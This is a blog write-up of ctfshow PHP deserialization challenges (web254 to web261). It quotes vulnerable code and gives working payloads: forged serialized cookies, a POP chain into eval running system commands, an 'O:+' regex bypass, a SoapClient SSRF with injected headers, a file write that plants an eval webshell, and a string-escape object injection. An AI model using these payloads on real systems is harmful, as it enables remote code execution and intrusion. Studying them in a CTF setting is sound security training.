ctfshow反序列化

web254

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true; //让当前isVIP的状态为true,后面的$this->isVip也会变成true
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}

}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = new ctfShowUser(); //new一个类,但是没有什么代码可执行的
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

不用传入反序列化的字符
直接传入
?username=xxxxxx&password=xxxxx

web255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag; //global 全局变量
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}

}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']); //会接受一个cookie变量
if($user->login($username,$password)){ //上面的函数方法
if($user->checkVip()){ //上面的函数方法
$user->vipOneKeyGetFlag(); //上面的函数方法
}
}else{
echo "no vip,no flag";
}
}

因为$user = unserialize($_COOKIE['user']);if($user->login($username,$password)){

需要让反序列后的结果是ctfShowUser的实例化对象。又因为只有$this->isVip是true才能是flag,所以反序列化的内容为

1
2
3
4
5
6
7
8
9
10
11
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
}
$a=serialize(new ctfShowUser);
echo serialize(new ctfShowUser);
echo "\n";
echo urlencode($a);
echo "\n";

对cookie进行修改,再传入参数

1
2
3
4
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

get:
?username=xxxxxx&password=xxxxxx

web256

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;

public function checkVip(){
return $this->isVip;
}
public function login($u,$p){ //这里是进行登录接收
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){ //这里不一样
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}

}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}

需要让username和password不一样

1
2
3
4
5
6
7
8
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='111';
public $isVip=true;}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>
1
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22111%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D get: ?username=xxxxxx&password=111

web257

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
private $code;
public function getInfo(){
eval($this->code); //危险函数eval
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}

因为有eval($this->code);危险函数,所以就不需要登录(login) 直接new backDoor这个类,把code变量改了,执行eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
public function __construct(){
$this->class=new backDoor();
}
public function __destruct(){
$this->class->getInfo();
}
}
class backDoor{
private $code="system("tac f*");";
public function getInfo(){
eval($this->code);
}
}
$a = serialize(new ctfShowUser());
echo urlencode($a);
?>

传值:

1
2
3
4
5
cookie:
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

get:
?username=xxxxxx&password=xxxxxx

web258

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';

public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}

多加了正则匹配

1
2
3
4
5
/`[oc]:\d+:/i意思就是不能出现O:数字,我们用0:+数字即可绕过。`
[oc]: 就是正则匹配的意思
\d: 匹配一个数字字符。等价于 [0-9]。
+: 匹配前面的子表达式一次或多次。例如,'zo+' 能匹配 "zo" 以及 "zoo",但不能匹配 "z"。+ 等价于 {1,}。
/i: 表示匹配的时候不区分大小写
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'backDoor';

public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}

}

class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}

class backDoor{
public $code="system('tac f*');";
public function getInfo(){
eval($this->code);
}
}
echo serialize(new ctfShowUser);
?>
1
O:+11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:17:"system('tac f*');";}} //url编码
1
2
3
4
5
cookie:
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system('tac%20f*')%3B%22%3B%7D%7D

get:
?username=xxxxxx&password=xxxxxx

web259

这个题利用的是php原生类SoapClient

1
2
3
4
5
6
7
8
9
10
11
12
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

判断真实ip的也就是

1
2
3
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
xxxxxx;
}

所以首先得利用ssrf访问flag.php接着构造post数据 toke=ctfshow和请求头X-Forwarded-For 就能把flag写到flag.txt中了。

ssrf漏洞在哪呢,这就得用到我们前面提到的SoapClient类了。这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。

payload:

1
2
3
4
5
6
7
8
9
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=> "ssrf"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

get传vip=xxx就可以了,最后访问/flag.txt应该就能拿到flag了

web260

序列化出来的东西需要包含字符串ctfshow_i_love_36D,
那我们直接传ctfhsow=ctfshow_i_love_36D就可以了。

web261

打下来和redis好像没什么关系.

1
2
3
4
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,
则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。

当反序列化时会进入__unserialize中,而且也没有什么方法可以进入到__invoke中。所以直接就朝着写文件搞就可以了。

只要满足code==0x36d(877)就可以了。
而code是username和password拼接出来的。
所以只要username=877.php password=shell就可以了。
877.php==877是成立的(弱类型比较)

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class ctfshowvip{
public $username;
public $password;

public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}

}
$a=new ctfshowvip('877.php','<?php eval($_POST[1]);?>');
echo serialize($a);

web261

有个message.php页面,我们看到,需要token为admin才能输出flag

1
2
3
if($msg->token=='admin'){
echo $flag;
}

payload:

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = 1;
$m = 1;
$t = 'fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}';
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
echo $umsg ;
echo "\n";
echo base64_encode($umsg);

把base64编码后的结果放到cookie里面访问message.php就能拿到flag


ctfshow反序列化
http://example.com/2023/06/04/刷题/ctfshow反序列化/
作者
Englobe
发布于
2023年6月4日
许可协议